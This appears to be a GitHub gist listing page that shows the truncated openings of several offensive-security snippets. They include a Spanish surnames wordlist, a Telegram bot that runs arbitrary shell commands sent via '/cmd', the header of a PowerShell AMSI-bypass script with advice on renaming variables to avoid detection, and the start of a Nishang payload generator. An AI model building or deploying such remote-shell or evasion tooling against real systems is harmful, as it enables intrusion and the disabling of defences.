Skip to content

Instantly share code, notes, and snippets.

@ricardojoserf
ricardojoserf / surnames.txt
Created April 5, 2021 06:58
Lista de apellidos más comunes en España. List of surnames, most of them from Spain.
abad
abadias
abascal
abdel
abdelkader
abderrahaman
abdeselam
abellan
abselam
acosta
@ricardojoserf
ricardojoserf / telegram-shell.py
Created March 24, 2021 20:31
Telegram bot to execute commands with "/cmd" and get the output
# Installation: pip3 install python-telegram-bot
# Usage: /cmd COMMAND
# Examples: /cmd whoami, /cmd ls -la, /cmd echo "a" > a.txt
from telegram.ext import Updater, CommandHandler
from telegram.ext.dispatcher import run_async
import subprocess
# Fill with your token after creating a bot using @BotFather
token = ""
# Based on Rasta Mouse (@_RastaMouse)'s blogs:
# - https://rastamouse.me/blog/asb-bypass-pt2/
# - https://rastamouse.me/blog/asb-bypass-pt3/
# - https://rastamouse.me/blog/asb-bypass-pt4/
#
# Note: If it starts being detected change the variables names
#
# Usage:
# . .\amsi_bypass.ps1; [TestNameSpace.test]::Disable()
#!/usr/bin/env python3
#
# Based on tothi's file: https://gist.github.com/tothi/ab288fb523a4b32b51a53e542d40fe58 (I just updated the payload)
# The payload is generated with Nikhil Mittal(@samratashok)'s Nishang https://github.com/samratashok/nishang
#
import sys
import base64
def help():